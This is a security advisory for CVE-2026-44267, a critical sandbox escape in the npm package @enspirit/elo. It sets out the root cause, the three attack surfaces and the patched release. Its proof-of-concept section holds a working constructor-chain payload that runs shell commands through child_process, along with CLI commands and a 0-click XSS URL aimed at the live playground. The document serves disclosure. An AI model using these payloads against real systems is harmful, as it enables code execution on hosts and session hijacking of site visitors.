---
id: CVE-2026-44267
aliases:
  - GHSA-33r5-xmm8-v6x5
title: >-
  Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code
  execution via unfiltered `.constructor` member access
summary: >-
  Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code
  execution via unfiltered `.constructor` member access
severity: critical
cvss: 9.8
cwe:
  - CWE-79
  - CWE-94
  - CWE-693
  - CWE-1336
vendor: enspirit
product: '@enspirit/elo'
ecosystem: npm
affected:
  - '@enspirit/elo <= 1.0.0'
patched:
  - '@enspirit/elo 1.0.1'
published: '2026-11-03'
updated: '2026-11-03'
sourceUpdated: '2026-11-03T17:53:43Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-33r5-xmm8-v6x5'
references:
  - url: 'https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5'
  - url: 'https://github.com/advisories/GHSA-33r5-xmm8-v6x5'
tags:
  - ghsa
  - npm
ingestedAt: '2026-11-03T18:52:03.884Z'
---

## Overview

### Summary

An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language."

### Vulnerable sink and root cause

Three interacting sites in `src/` produce the bug at commit `749af7b`:

1. **`src/transform.ts:144–158`** — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist.
2. **`src/compilers/javascript.ts:210`** — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.
3. **`src/parser.ts:163–170, 748–750`** — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning.

Combined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code.

### Attack surfaces

All three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch:

| # | Entry point | Threat model |
|---|---|---|
| 1 | Browser playground — `https://elo-lang.org/try/?code=…&run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() => this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. |
| 2 | `bin/elo` CLI | **RCE on CI / DevOps hosts.** Both `node bin/elo payload.elo` and `node bin/elo -e "_" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. |
| 3 | Library API — `defaultFormats.elo.parse()` | **Node.js RCE for any downstream integrator** using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |

### Proof of Concept

**Common payload (works on all three entry points):**

```elo
({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')()
```

**Library API** — `poc-minimal.js`:

```js
// npm install elo
const { defaultFormats } = require('elo');

const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()";

console.log(defaultFormats.elo.parse(payload));
// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…
```

**CLI** — `poc-cli.sh`:

```sh
node bin/elo payload.elo
# uid=1000(ultrasupara)…

node bin/elo -e "_" -d @payload.elo -f elo
# uid=1000(ultrasupara)…
```

**Browser playground** — 0-click XSS URL:

```
https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1
```

Opening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.

### Independence from GHSA #3 (AST-API injection)

This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.

## Affected packages

- `@enspirit/elo <= 1.0.0`

## Remediation

Upgrade to a patched release:

- `@enspirit/elo 1.0.1`